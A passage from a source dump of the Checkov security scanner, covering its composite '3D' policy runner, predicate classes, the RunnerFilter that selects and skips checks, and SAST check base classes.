table_width += 3 iac_table = PrettyTable( min_table_width=table_width, max_table_width=table_width ) iac_table.set_style(SINGLE_BORDER) iac_table.field_names = [ "Resource", "Violation", "Title", "Severity" ] for resource_idx, (resource, details) in enumerate(resource_violation_details_map.items()): if resource_idx > 0: del iac_table_lines[-1] iac_table.header = False iac_table.clear_rows() for violation_idx, violation in enumerate(details['violations']): col_resource = '' if violation_idx == 0: col_resource = resource iac_table.add_row( [ col_resource, violation['id'], violation['title'], violation['severity'] ] ) iac_table.align = "l" # the column widths are manipulated here with -2s so all the printed tables have eventually the same width regular_width = column_width - 2 double_width = 2 * column_width - 2 iac_table.min_width = regular_width iac_table.max_width = regular_width iac_table.min_width['Title'] = double_width iac_table.max_width['Title'] = double_width for line in iac_table.get_string().splitlines(keepends=True): if resource_idx > 0: line = merge_line_with_previous_table(line, iac_table) iac_table_lines.append(f"\t{line}") return iac_table_lines ================================================ FILE: checkov/policies_3d/record.py ================================================ from __future__ import annotations from typing import List, Dict, Any, Tuple, Optional from checkov.common.bridgecrew.severities import Severity from checkov.common.output.record import Record from checkov.common.typing import _CheckResult class Policy3dRecord(Record): def __init__(self, check_id: str, bc_check_id: str, check_name: str, check_result: _CheckResult, code_block: List[Tuple[int, str]], file_path: str, file_line_range: List[int], resource: str, evaluations: Optional[Dict[str, Any]], check_class: str, file_abs_path: str, severity: Optional[Severity], vulnerabilities: List[Dict[str, Any]], iac_records: List[Record], composed_from_iac_records: List[Record], composed_from_secrets_records: list[Record], composed_from_cves: list[Dict[str, Any]] ) -> None: super().__init__( check_id=check_id, bc_check_id=bc_check_id, check_name=check_name, check_result=check_result, code_block=code_block, file_path=file_path, file_line_range=file_line_range, resource=resource, evaluations=evaluations, check_class=check_class, file_abs_path=file_abs_path, severity=severity, ) self.vulnerabilities = vulnerabilities self.iac_records = iac_records self.composed_from_iac_records = composed_from_iac_records self.composed_from_secrets_records = composed_from_secrets_records self.composed_from_cves = composed_from_cves ================================================ FILE: checkov/policies_3d/runner.py ================================================ from __future__ import annotations import logging from enum import Enum from typing import Dict, Any from checkov.common.bridgecrew.severities import Severities from checkov.common.bridgecrew.check_type import CheckType from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.runners.base_post_runner import BasePostRunner from checkov.common.util.type_forcers import force_list from checkov.policies_3d.checks_parser import Policy3dParser from checkov.policies_3d.record import Policy3dRecord from checkov.policies_3d.checks_infra.base_check import Base3dPolicyCheck from checkov.policies_3d.syntax.iac_syntax import IACPredicate from checkov.policies_3d.syntax.cves_syntax import CVEPredicate from checkov.policies_3d.syntax.secrets_syntax import SecretsPredicate from checkov.runner_filter import RunnerFilter class CVECheckAttribute(str, Enum): RISK_FACTORS = "risk_factor" class CVEReportAttribute(str, Enum): RISK_FACTORS = 'riskFactors' CVE_CHECK_TO_REPORT_ATTRIBUTE = { CVECheckAttribute.RISK_FACTORS: CVEReportAttribute.RISK_FACTORS } module_to_check_types = { "iac": filter(lambda _type: _type in [CheckType.SECRETS, CheckType.SCA_IMAGE], list(CheckType.__dict__.keys())), "secrets": [CheckType.SECRETS], "cves": [CheckType.SCA_IMAGE] } class Policy3dRunner(BasePostRunner): check_type = CheckType.POLICY_3D # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__() def run_v2(self, raw_checks: list[dict[str, Any]] | None = None, scan_reports: list[Report] | None = None, runner_filter: RunnerFilter | None = None ) -> Report: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) if not raw_checks or not scan_reports: logging.debug("No checks or reports scan, skipping 3D policies runner") return report self.pbar.initiate(len(raw_checks)) failed_checks_by_resource = self.create_failed_checks_by_resource_mapping(scan_reports) records_3d = [] for raw_3d_check in raw_checks: for resource, modules_records in failed_checks_by_resource.items(): iac_records: list[Record] = modules_records.get("iac", []) secrets_records: list[Record] = modules_records.get("secrets", []) cves_reports: list[dict[str, Any]] = modules_records.get("cves", []) check = Policy3dParser(raw_3d_check).parse( iac_records=iac_records, secrets_records=secrets_records, cves_reports=cves_reports ) if not check: continue check.severity = Severities[raw_3d_check['severity']] check.bc_id = check.id check_result = CheckResult.PASSED if any([predicament() for predicament in check.predicaments]): check_result = CheckResult.FAILED logging.debug(f"Resource {resource} is violating 3D policy {check.bc_id}") records_3d.append(self.create_record(check, check_result)) for record in records_3d: if record: report.add_record(record=record) return report @staticmethod def create_record(check: Base3dPolicyCheck, check_result: CheckResult) -> Record | None: true_vulnerabilities_cve_reports = [] true_iac_records = [] true_secrets_records = [] records_ids = set() any_record_data_source = None record_data_source: Record | None all_predicates = set() for predicament in check.predicaments: all_predicates.update(predicament.get_all_children_predicates()) for predicate in all_predicates: if not any_record_data_source and (isinstance(predicate, IACPredicate) or isinstance(predicate, SecretsPredicate)): any_record_data_source = predicate.record if predicate.is_true: if isinstance(predicate, IACPredicate) and predicate.record.bc_check_id not in records_ids: true_iac_records.append(predicate.record) records_ids.add(predicate.record.bc_check_id) elif isinstance(predicate, CVEPredicate) and predicate.cve_report.get('cveId') not in records_ids: true_vulnerabilities_cve_reports.append(predicate.cve_report) records_ids.add(predicate.cve_report.get('cveId')) elif isinstance(predicate, SecretsPredicate) and predicate.record.bc_check_id not in records_ids: true_secrets_records.append(predicate.record) records_ids.add(predicate.record.bc_check_id) try: record_data_source = list(true_iac_records)[0] if len(true_iac_records) > 0 else list(true_secrets_records)[0] except IndexError: record_data_source = any_record_data_source if not record_data_source: logging.debug("Unable to create record from an empty record data source") return None record = Policy3dRecord( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result={'result': check_result}, code_block=record_data_source.code_block, file_path=record_data_source.file_path, file_line_range=record_data_source.file_line_range, resource=f'{record_data_source.file_path}:{record_data_source.resource}', evaluations=None, check_class=check.__class__.__module__, file_abs_path=record_data_source.file_abs_path, severity=check.severity, vulnerabilities=true_vulnerabilities_cve_reports, iac_records=true_iac_records + true_secrets_records, composed_from_iac_records=true_iac_records, composed_from_secrets_records=true_secrets_records, composed_from_cves=true_vulnerabilities_cve_reports ) record.set_guideline(check.guideline) return record @staticmethod def create_failed_checks_by_resource_mapping(scan_reports: list[Report]) -> dict[str, Any]: """ Output structure: { resource_id: { "iac": [...], # list of failed checks of type Record "secrets": [...], # list of failed checks of type Record "cves": [...] # list of vulnerabilities of type ReportCVE } } """ failed_checks_by_resource: dict[str, Any] = {} for report in scan_reports: if report.check_type == CheckType.SCA_IMAGE: # Save image cached results on a resource for result in report.image_cached_results: resource_id = result.get('relatedResourceId', '').split(result.get('dockerFilePath'))[1][1:] if resource_id in failed_checks_by_resource.keys(): if "cves" not in failed_checks_by_resource[resource_id]: failed_checks_by_resource[resource_id]["cves"] = [] failed_checks_by_resource[resource_id]["cves"] += result.get("vulnerabilities", []) else: failed_checks_by_resource[resource_id] = {} failed_checks_by_resource[resource_id]["cves"] = result.get("vulnerabilities", []) for cve in failed_checks_by_resource[resource_id]["cves"]: cve["dockerImageName"] = result.get("dockerImageName") else: # Save failed checks on a resource iac_or_secrets = "secrets" if report.check_type == CheckType.SECRETS else "iac" for failed_check in report.failed_checks: resource = failed_check.resource.lstrip(failed_check.file_abs_path) if failed_check.resource in failed_checks_by_resource.keys(): failed_checks_by_resource[resource][iac_or_secrets].append(failed_check) else: failed_checks_by_resource[resource] = {} failed_checks_by_resource[resource][iac_or_secrets] = [failed_check] return failed_checks_by_resource def run( # type:ignore[override] self, checks: list[Base3dPolicyCheck] | None = None, scan_reports: list[Report] | None = None, runner_filter: RunnerFilter | None = None ) -> Report: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) if not checks or not scan_reports: logging.debug("No checks or reports scan.") return report self.pbar.initiate(len(checks)) reports_by_framework = {report.check_type: report for report in scan_reports} for check in checks: records = self.collect_check(check, reports_by_framework) for record in records: report.add_record(record=record) self.pbar.close() return report def collect_check(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> list[Policy3dRecord]: records = [] iac_results_map = self.solve_check_iac(check, reports_by_fw) cve_results_map = self.solve_check_cve(check, reports_by_fw) for iac_resource, iac_records in iac_results_map.items(): for cve_resource, vulnerabilities in cve_results_map.items(): if iac_resource == cve_resource: # This means we found the combination on the same resource -> create a violation for that resource check_result = CheckResult.FAILED iac_records = [record for record in iac_records] record = self.get_record(check, iac_records[0], vulnerabilities, check_result, iac_records) record.set_guideline(check.guideline) records.append(record) self.pbar.update() return records def solve_check_iac(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> dict[str, list[Record]]: iac_results_map: dict[str, list[Record]] = {} if check.iac: for framework, bc_check_ids in check.iac.items(): framework_report = reports_by_fw.get(framework) if framework_report: fw_records = framework_report.failed_checks for record in fw_records: if record.bc_check_id in bc_check_ids: resource_id = f'{record.file_abs_path}:{record.resource}' if resource_id in iac_results_map: iac_results_map[resource_id].append(record) else: iac_results_map[resource_id] = [record] # the following implements the AND logic for the list of iac expected check ids for resource in list(iac_results_map.keys()): if len(iac_results_map[resource]) != len(bc_check_ids): del iac_results_map[resource] return iac_results_map def solve_check_cve(self, check: Base3dPolicyCheck, reports_by_fw: dict[str, Report]) -> dict[str, list[Dict[str, Any]]]: cve_results_map: dict[str, list[Dict[str, Any]]] = {} if check.cve: cve_report = reports_by_fw.get(CheckType.SCA_IMAGE) if cve_report: image_results = cve_report.image_cached_results for attribute, value in check.cve.items(): for image_result in image_results: matching_cves = [vuln for vuln in image_result.get('vulnerabilities', []) if value[0] in force_list(vuln.get(CVE_CHECK_TO_REPORT_ATTRIBUTE[attribute], []))] if matching_cves: image_related_resource = image_result.get('relatedResourceId') image_name = image_result.get('dockerImageName') if not image_related_resource or not image_name: logging.debug( "[policies3d/runner](solve_check_cve) Found vulnerabilities of an image without a related resource or image name, skipping") break for cve in matching_cves: cve['dockerImageName'] = image_name # The current logic for multiple cve conditions in the policy is of "OR" - we add all of # the matching cves, even if matched only by a single policy attribute. To implement an # "AND" logic for the combination of conditions, the matching cves need to be filtered # before being added to the result. if image_related_resource in cve_results_map: cve_results_map[image_related_resource].extend(matching_cves) else: cve_results_map[image_related_resource] = matching_cves return cve_results_map def get_record(self, check: Base3dPolicyCheck, iac_record: Record, vulnerabilities: list[Dict[str, Any]], check_result: CheckResult, iac_records: list[Record]) -> Policy3dRecord: return Policy3dRecord( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result={'result': check_result}, code_block=iac_record.code_block, file_path=iac_record.file_path, file_line_range=iac_record.file_line_range, resource=f'{iac_record.file_path}:{iac_record.resource}', evaluations=None, check_class=check.__class__.__module__, file_abs_path=iac_record.file_abs_path, severity=check.severity, vulnerabilities=vulnerabilities, iac_records=iac_records, composed_from_iac_records=[], composed_from_secrets_records=[], composed_from_cves=[] ) ================================================ FILE: checkov/policies_3d/syntax/__init__.py ================================================ ================================================ FILE: checkov/policies_3d/syntax/cves_syntax.py ================================================ from __future__ import annotations import abc from typing import Any from checkov.policies_3d.syntax.syntax import Predicate class CVEPredicate(Predicate): def __init__(self, cve_report: dict[str, Any]) -> None: super().__init__() self.cve_report = cve_report @abc.abstractmethod def __call__(self) -> bool: raise NotImplementedError() class RiskFactorCVEContains(CVEPredicate): def __init__(self, risk_factors: list[str], cve_report: dict[str, Any]) -> None: super().__init__(cve_report) self.risk_factors = [rf.lower() for rf in risk_factors] report_risk_factors = cve_report.get('riskFactors', []) or [] if isinstance(report_risk_factors, str): report_risk_factors = [report_risk_factors] self.cve_report['riskFactors'] = [rf.lower() for rf in report_risk_factors] def __call__(self) -> bool: self.is_true = all(rf in self.cve_report['riskFactors'] for rf in self.risk_factors) if not self.is_true: for rf in self.cve_report['riskFactors']: self.is_true = all(rf.startswith(predicate_rf) for predicate_rf in self.risk_factors) if self.is_true: break return self.is_true def __eq__(self, other: object) -> bool: if not isinstance(other, RiskFactorCVEContains): return False return set(self.risk_factors) == set(other.risk_factors) and self.cve_report['cveId'] == other.cve_report['cveId'] def __hash__(self) -> Any: return hash(('risk_factors', tuple(self.risk_factors), 'cveId', self.cve_report['cveId'])) ================================================ FILE: checkov/policies_3d/syntax/iac_syntax.py ================================================ from __future__ import annotations import abc from checkov.common.output.record import Record from checkov.policies_3d.syntax.syntax import Predicate from typing import Any class IACPredicate(Predicate): def __init__(self, record: Record) -> None: super().__init__() self.record = record @abc.abstractmethod def __call__(self) -> bool: raise NotImplementedError() class ViolationIdEquals(IACPredicate): def __init__(self, record: Record, violation_id: str) -> None: super().__init__(record) self.violation_id = violation_id def __call__(self) -> bool: self.is_true = isinstance(self.violation_id, str) and self.record.bc_check_id == self.violation_id return self.is_true def __eq__(self, other: object) -> bool: if not isinstance(other, ViolationIdEquals): return False return self.violation_id == other.violation_id and self.record.bc_check_id == other.record.bc_check_id def __hash__(self) -> Any: return hash(('violation_id', self.violation_id, 'bc_check_id', self.record.bc_check_id)) ================================================ FILE: checkov/policies_3d/syntax/secrets_syntax.py ================================================ import abc from checkov.common.output.record import Record from checkov.policies_3d.syntax.syntax import Predicate class SecretsPredicate(Predicate): def __init__(self, record: Record) -> None: super().__init__() self.record = record @abc.abstractmethod def __call__(self) -> bool: raise NotImplementedError() ================================================ FILE: checkov/policies_3d/syntax/syntax.py ================================================ from __future__ import annotations import abc from typing import Any class Predicate: def __init__(self) -> None: self.is_true = False @abc.abstractmethod def __call__(self, *args: Any, **kwargs: Any) -> bool: raise NotImplementedError() @abc.abstractmethod def __eq__(self, other: object) -> bool: raise NotImplementedError() @abc.abstractmethod def __hash__(self) -> Any: raise NotImplementedError() class Predicament: def __init__(self, logical_op: str, predicates: list[Predicate] | None = None, predicaments: list[Predicament] | None = None) -> None: self.predicates = predicates or [] self.predicaments = predicaments or [] self.logical_op = logical_op.lower() def __call__(self) -> bool: """ Calls all direct and indirect predicates. Implementation note: using a list comprehension in any/all guarantees that all predicates will be computed by avoiding a short-circuit evaluation. """ if self.logical_op == 'or': sub_predicaments_result = False if self.predicaments: sub_predicaments_result = any([predicament() for predicament in self.predicaments]) return any([predicate() for predicate in self.predicates]) or sub_predicaments_result sub_predicaments_result = True if self.predicaments: sub_predicaments_result = all(predicament() for predicament in self.predicaments) return all([predicate() for predicate in self.predicates]) and sub_predicaments_result def get_all_children_predicates(self) -> set[Predicate]: predicates = set() for sub_predicament in self.predicaments: predicates.update(sub_predicament.get_all_children_predicates()) predicates.update(set(self.predicates)) return predicates ================================================ FILE: checkov/py.typed ================================================ ================================================ FILE: checkov/runner_filter.py ================================================ from __future__ import annotations import logging import fnmatch from collections import defaultdict from collections.abc import Iterable from typing import Any, Set, Optional, Union, List, TYPE_CHECKING, Dict, DefaultDict, cast import re from checkov.common.bridgecrew.check_type import CheckType from checkov.common.secrets.consts import ValidationStatus from checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryConfiguration, CodeCategoryType from checkov.common.bridgecrew.severities import Severity, Severities from checkov.common.sast.consts import SastLanguages from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.type_forcers import convert_csv_string_arg_to_list from checkov.common.util.str_utils import convert_to_seconds if TYPE_CHECKING: from checkov.common.checks.base_check import BaseCheck from checkov.common.graph.checks_infra.base_check import BaseGraphCheck from checkov.sast.checks_infra.base_check import BaseSastCheck class RunnerFilter(object): # NOTE: This needs to be static because different filters may be used at load time versus runtime # (see note in BaseCheckRegistery.register). The concept of which checks are external is # logically a "static" concept anyway, so this makes logical sense. __EXTERNAL_CHECK_IDS: Set[str] = set() def __init__( self, framework: Optional[List[str]] = None, checks: Union[str, List[str], None] = None, skip_checks: Union[str, List[str], None] = None, include_all_checkov_policies: bool = True, download_external_modules: Optional[bool] = False, external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR, evaluate_variables: bool = True, runners: Optional[List[str]] = None, skip_framework: Optional[List[str]] = None, excluded_paths: Optional[List[str]] = None, all_external: bool = False, var_files: Optional[List[str]] = None, skip_cve_package: Optional[List[str]] = None, use_enforcement_rules: bool = False, filtered_policy_ids: Optional[List[str]] = None, filtered_exception_policy_ids: Optional[List[str]] = None, show_progress_bar: Optional[bool] = True, run_image_referencer: bool = False, enable_secret_scan_all_files: bool = False, block_list_secret_scan: Optional[List[str]] = None, deep_analysis: bool = False, repo_root_for_plan_enrichment: Optional[List[str]] = None, resource_attr_to_omit: Optional[Dict[str, Set[str]]] = None, enable_git_history_secret_scan: bool = False, git_history_timeout: str = '12h', git_history_last_commit_scanned: Optional[str] = None, # currently not exposed by a CLI flag report_sast_imports: bool = False, remove_default_sast_policies: bool = False, report_sast_reachability: bool = False ) -> None: checks = convert_csv_string_arg_to_list(checks) skip_checks = convert_csv_string_arg_to_list(skip_checks) self.skip_invalid_secrets = skip_checks and any(skip_check.capitalize() == ValidationStatus.INVALID.value for skip_check in skip_checks) self.use_enforcement_rules = use_enforcement_rules self.enforcement_rule_configs: Dict[str, Severity | Dict[CodeCategoryType, Severity]] = {} # we will store the lowest value severity we find in checks, and the highest value we find in skip-checks # so the logic is "run all checks >= severity" and/or "skip all checks <= severity" self.check_threshold = None self.skip_check_threshold = None self.checks = [] self.bc_cloned_checks: dict[str, list[dict[str, Any]]] = defaultdict(list) self.skip_checks = [] self.skip_checks_regex_patterns = defaultdict(list) self.show_progress_bar = show_progress_bar # split out check/skip thresholds so we can access them easily later for val in (checks or []): if val.upper() in Severities: val = val.upper() if not self.check_threshold or self.check_threshold.level > Severities[val].level: self.check_threshold = Severities[val] else: self.checks.append(val) # Get regex patterns to split checks and remove it from skip checks: updated_skip_checks = set(skip_checks) for val in (skip_checks or []): splitted_check = val.split(":") # In case it's not expected pattern if len(splitted_check) != 2: continue self.skip_checks_regex_patterns[splitted_check[0]].append(splitted_check[1]) updated_skip_checks -= {val} skip_checks = list(updated_skip_checks) for val in (skip_checks or []): if val.upper() in Severities: val = val.upper() if not self.skip_check_threshold or self.skip_check_threshold.level < Severities[val].level: self.skip_check_threshold = Severities[val] else: self.skip_checks.append(val) self.include_all_checkov_policies = include_all_checkov_policies if not framework or "all" in framework: self.framework_flag_values = [] else: self.framework_flag_values = framework self.framework: "Iterable[str]" = framework if framework else ["all"] if skip_framework: if "all" in self.framework: if runners is None: runners = [] self.framework = set(runners) - set(skip_framework) else: self.framework = set(self.framework) - set(skip_framework) logging.debug(f"Resultant set of frameworks (removing skipped frameworks): {','.join(self.framework)}") self.download_external_modules = download_external_modules self.external_modules_download_path = external_modules_download_path self.evaluate_variables = evaluate_variables self.excluded_paths = excluded_paths or [] self.all_external = all_external self.var_files = var_files self.skip_cve_package = skip_cve_package self.filtered_policy_ids = filtered_policy_ids or [] self.filtered_exception_policy_ids = filtered_exception_policy_ids or [] self.run_image_referencer = run_image_referencer self.enable_secret_scan_all_files = enable_secret_scan_all_files self.block_list_secret_scan = block_list_secret_scan self.suppressed_policies: List[str] = [] self.deep_analysis = deep_analysis self.repo_root_for_plan_enrichment = repo_root_for_plan_enrichment self.resource_attr_to_omit: DefaultDict[str, Set[str]] = RunnerFilter._load_resource_attr_to_omit( resource_attr_to_omit ) self.sast_languages: Set[SastLanguages] = RunnerFilter.get_sast_languages(framework, skip_framework) if self.sast_languages and any(item for item in self.framework if item.startswith(CheckType.SAST) or item == 'all'): self.framework = [item for item in self.framework if not item.startswith(CheckType.SAST)] self.framework.append(CheckType.SAST) elif not self.sast_languages: # remove all SAST and CDK frameworks self.framework = [ item for item in self.framework if not item.startswith(CheckType.SAST) and item != CheckType.CDK ] self.enable_git_history_secret_scan: bool = enable_git_history_secret_scan if self.enable_git_history_secret_scan: self.git_history_timeout = convert_to_seconds(git_history_timeout) self.framework = [CheckType.SECRETS] logging.debug("Scan secrets history was enabled ignoring other frameworks") self.git_history_last_commit_scanned = git_history_last_commit_scanned self.report_sast_imports = report_sast_imports self.remove_default_sast_policies = remove_default_sast_policies self.report_sast_reachability = report_sast_reachability @staticmethod def _load_resource_attr_to_omit(resource_attr_to_omit_input: Optional[Dict[str, Set[str]]]) -> DefaultDict[str, Set[str]]: resource_attributes_to_omit: DefaultDict[str, Set[str]] = defaultdict(set) # In order to create new object (and not a reference to the given one) if resource_attr_to_omit_input: resource_attributes_to_omit.update(resource_attr_to_omit_input) return resource_attributes_to_omit def apply_enforcement_rules(self, enforcement_rule_configs: Dict[str, CodeCategoryConfiguration]) -> None: self.enforcement_rule_configs = {} for report_type, code_category in CodeCategoryMapping.items(): if isinstance(code_category, list): self.enforcement_rule_configs[report_type] = {c: enforcement_rule_configs.get(c).soft_fail_threshold for c in code_category} # type:ignore[union-attr] # will not be None else: config = enforcement_rule_configs.get(code_category) if not config: raise Exception(f'Could not find an enforcement rule config for category {code_category} (runner: {report_type})') self.enforcement_rule_configs[report_type] = config.soft_fail_threshold def extract_enforcement_rule_threshold(self, check_id: str, report_type: str) -> Severity: if 'sca_' in report_type and '_LIC_' in check_id: return cast("dict[CodeCategoryType, Severity]", self.enforcement_rule_configs[report_type])[CodeCategoryType.LICENSES] elif 'sca_' in report_type: # vulnerability return cast("dict[CodeCategoryType, Severity]", self.enforcement_rule_configs[report_type])[CodeCategoryType.VULNERABILITIES] else: return cast(Severity, self.enforcement_rule_configs[report_type]) def should_run_check( self, check: BaseCheck | BaseGraphCheck | BaseSastCheck | None = None, check_id: str | None = None, bc_check_id: str | None = None, severity: Severity | None = None, report_type: str | None = None, file_origin_paths: List[str] | None = None, root_folder: str | None = None ) -> bool: if check: check_id = check.id bc_check_id = check.bc_id severity = check.severity assert check_id is not None # nosec (for mypy (and then for bandit)) check_threshold: Optional[Severity] skip_check_threshold: Optional[Severity] # apply enforcement rules if specified, but let --check/--skip-check with a severity take priority if self.use_enforcement_rules and report_type: if not self.check_threshold and not self.skip_check_threshold: check_threshold = self.extract_enforcement_rule_threshold(check_id, report_type) skip_check_threshold = None else: check_threshold = self.check_threshold skip_check_threshold = self.skip_check_threshold else: if self.use_enforcement_rules: # this is a warning for us (but there is nothing the user can do about it) logging.debug(f'Use enforcement rules is true, but check {check_id} was not passed to the runner filter with a report type') check_threshold = self.check_threshold skip_check_threshold = self.skip_check_threshold run_severity = severity and check_threshold and severity.level >= check_threshold.level explicit_run = self.checks and self.check_matches(check_id, bc_check_id, self.checks) implicit_run = not self.checks and not check_threshold is_external = RunnerFilter.is_external_check(check_id) is_policy_filtered = self.is_policy_filtered(check_id) is_policy_exception = self.is_policy_exception(check_id) # True if this check is present in the allow list, or if there is no allow list # this is not necessarily the return value (need to apply other filters) should_run_check = ( run_severity or explicit_run or implicit_run or (is_external and self.all_external) ) if not should_run_check: logging.debug(f'Should run check {check_id}: False') return False # If a policy is not present in the list of filtered policies, it should not be run - implicitly or explicitly. # It can, however, be skipped. if not is_policy_filtered: logging.debug(f'not is_policy_filtered {check_id}: should_run_check = False') should_run_check = False # If a policy is present in the list of filter exception policies, it should not be run - implicitly or explicitly. if is_policy_exception: logging.debug(f'is_policy_exception {check_id}: should_run_check = False') should_run_check = False skip_severity = severity and skip_check_threshold and severity.level <= skip_check_threshold.level explicit_skip = self.skip_checks and self.check_matches(check_id, bc_check_id, self.skip_checks) regex_match = self._match_regex_pattern(check_id, file_origin_paths, root_folder) should_skip_check = ( skip_severity or explicit_skip or regex_match or (not bc_check_id and not self.include_all_checkov_policies and not is_external and not explicit_run) or (bc_check_id in self.suppressed_policies and bc_check_id not in self.bc_cloned_checks) ) logging.debug(f'skip_severity = {skip_severity}, explicit_skip = {explicit_skip}, regex_match = {regex_match}, suppressed_policies: {self.suppressed_policies}') logging.debug( f'bc_check_id = {bc_check_id}, include_all_checkov_policies = {self.include_all_checkov_policies}, is_external = {is_external}, explicit_run: {explicit_run}') if should_skip_check: result = False logging.debug(f'should_skip_check {check_id}: {should_skip_check}') elif should_run_check: result = True logging.debug(f'should_run_check {check_id}: {result}') else: result = False logging.debug(f'default {check_id}: {result}') return result def _match_regex_pattern(self, check_id: str, file_origin_paths: List[str] | None, root_folder: str | None) -> bool: """ Check if skip check_id for a certain file_types, according to given path pattern """ if not file_origin_paths: return False regex_patterns = self.skip_checks_regex_patterns.get(check_id, []) # In case skip is generic, for example, CKV_AZURE_*. generic_check_id = f"{'_'.join(i for i in check_id.split('_')[:-1])}_*" generic_check_regex_patterns = self.skip_checks_regex_patterns.get(generic_check_id, []) regex_patterns.extend(generic_check_regex_patterns) if not regex_patterns: return False for pattern in regex_patterns: if not pattern: continue full_regex_pattern = fr"^{root_folder}/{pattern}" if root_folder else pattern try: if any(re.search(full_regex_pattern, path) for path in file_origin_paths): return True except Exception as exc: logging.error( "Invalid regex pattern has been supplied", extra={"regex_pattern": pattern, "exc": str(exc)} ) return False @staticmethod def check_matches(check_id: str, bc_check_id: Optional[str], pattern_list: List[str]) -> bool: return any( (fnmatch.fnmatch(check_id, pattern) or (bc_check_id and fnmatch.fnmatch(bc_check_id, pattern))) for pattern in pattern_list) def within_threshold(self, severity: Severity) -> bool: above_min = (not self.check_threshold) or self.check_threshold.level <= severity.level below_max = self.skip_check_threshold and self.skip_check_threshold.level >= severity.level return above_min and not below_max @staticmethod def secret_validation_status_matches(secret_validation_status: str, statuses_list: list[str]) -> bool: return secret_validation_status in statuses_list @staticmethod def notify_external_check(check_id: str) -> None: RunnerFilter.__EXTERNAL_CHECK_IDS.add(check_id) @staticmethod def is_external_check(check_id: str) -> bool: return check_id in RunnerFilter.__EXTERNAL_CHECK_IDS def is_policy_filtered(self, check_id: str) -> bool: if not self.filtered_policy_ids: return True return check_id in self.filtered_policy_ids def is_policy_exception(self, check_id: str) -> bool: if not self.filtered_exception_policy_ids: return False return check_id in self.filtered_exception_policy_ids def to_dict(self) -> Dict[str, Any]: result: Dict[str, Any] = {} for key, value in self.__dict__.items(): result[key] = value return result @staticmethod def from_dict(obj: Dict[str, Any]) -> RunnerFilter: framework = obj.get('framework') checks = obj.get('checks') skip_checks = obj.get('skip_checks') include_all_checkov_policies = obj.get('include_all_checkov_policies') if include_all_checkov_policies is None: include_all_checkov_policies = True download_external_modules = obj.get('download_external_modules') external_modules_download_path = obj.get('external_modules_download_path') if external_modules_download_path is None: external_modules_download_path = DEFAULT_EXTERNAL_MODULES_DIR evaluate_variables = obj.get('evaluate_variables') if evaluate_variables is None: evaluate_variables = True runners = obj.get('runners') skip_framework = obj.get('skip_framework') excluded_paths = obj.get('excluded_paths') all_external = obj.get('all_external') if all_external is None: all_external = False var_files = obj.get('var_files') skip_cve_package = obj.get('skip_cve_package') use_enforcement_rules = obj.get('use_enforcement_rules') if use_enforcement_rules is None: use_enforcement_rules = False filtered_policy_ids = obj.get('filtered_policy_ids') filtered_exception_policy_ids = obj.get('filtered_exception_policy_ids') show_progress_bar = obj.get('show_progress_bar') if show_progress_bar is None: show_progress_bar = True run_image_referencer = obj.get('run_image_referencer') if run_image_referencer is None: run_image_referencer = False enable_secret_scan_all_files = bool(obj.get('enable_secret_scan_all_files')) block_list_secret_scan = obj.get('block_list_secret_scan') runner_filter = RunnerFilter(framework, checks, skip_checks, include_all_checkov_policies, download_external_modules, external_modules_download_path, evaluate_variables, runners, skip_framework, excluded_paths, all_external, var_files, skip_cve_package, use_enforcement_rules, filtered_policy_ids, filtered_exception_policy_ids, show_progress_bar, run_image_referencer, enable_secret_scan_all_files, block_list_secret_scan) return runner_filter def set_suppressed_policies(self, policy_level_suppressions: List[List[str]]) -> None: logging.debug(f"Received the following policy-level suppressions, that will be skipped from running: {policy_level_suppressions}") # flatten self.suppressed_policies = [suppression for suppression_list in policy_level_suppressions for suppression in suppression_list] @staticmethod def get_sast_languages(frameworks: Optional[List[str]], skip_framework: Optional[List[str]]) -> Set[SastLanguages]: langs: Set[SastLanguages] = set() if not frameworks or (skip_framework and "sast" in skip_framework): return langs if 'all' in frameworks: sast_languages = SastLanguages.set() skip_framework = [] if not skip_framework else [f.split("sast_")[-1] for f in skip_framework] return set([lang for lang in sast_languages if lang.value not in skip_framework]) for framework in frameworks: if framework in [CheckType.SAST, CheckType.CDK]: for sast_lang in SastLanguages: langs.add(sast_lang) return langs if not framework.startswith(CheckType.SAST): continue lang = '_'.join(framework.split('_')[1:]) langs.add(SastLanguages[lang.upper()]) return langs ================================================ FILE: checkov/sast/__init__.py ================================================ ================================================ FILE: checkov/sast/checks_infra/__init__.py ================================================ ================================================ FILE: checkov/sast/checks_infra/base_check.py ================================================ from typing import Optional, List from checkov.common.bridgecrew.severities import Severity from checkov.common.models.enums import CheckCategories class BaseSastCheck: def __init__(self, name: str, id: str, severity: Optional[Severity] = None) -> None: self.name: str = name self.id: str = id self.categories: List[CheckCategories] = [CheckCategories.SAST] # TODO self.guideline: str = '' self.severity: Optional[Severity] = severity self.bc_id: str = '' ================================================ FILE: checkov/sast/checks_infra/base_registry.py ================================================ from __future__ import annotations import logging import os from typing import List, Any, Optional, Dict from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.runner_filter import RunnerFilter logger = logging.getLogger(__name__) class Registry(BaseCheckRegistry): def __init__(self, checks_dir: str | None = None) -> None: super().__init__(report_type=CheckType.SAST) self.rules: List[Dict[str, Any]] = [] self.checks_dir = checks_dir self.logger = logging.getLogger(__name__) self.runner_filter: Optional[RunnerFilter] = None self.checks_dirs_path: List[str] = [checks_dir] if checks_dir else [] def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: # TODO return '', '', {} def set_runner_filter(self, runner_filter: RunnerFilter) -> None: self.runner_filter = runner_filter def add_external_dirs(self, external_dirs: Optional[List[str]]) -> None: if external_dirs: for path in external_dirs: if os.path.exists(path): if not os.path.isabs(path): path = os.path.abspath(path) self.checks_dirs_path.append(path) else: 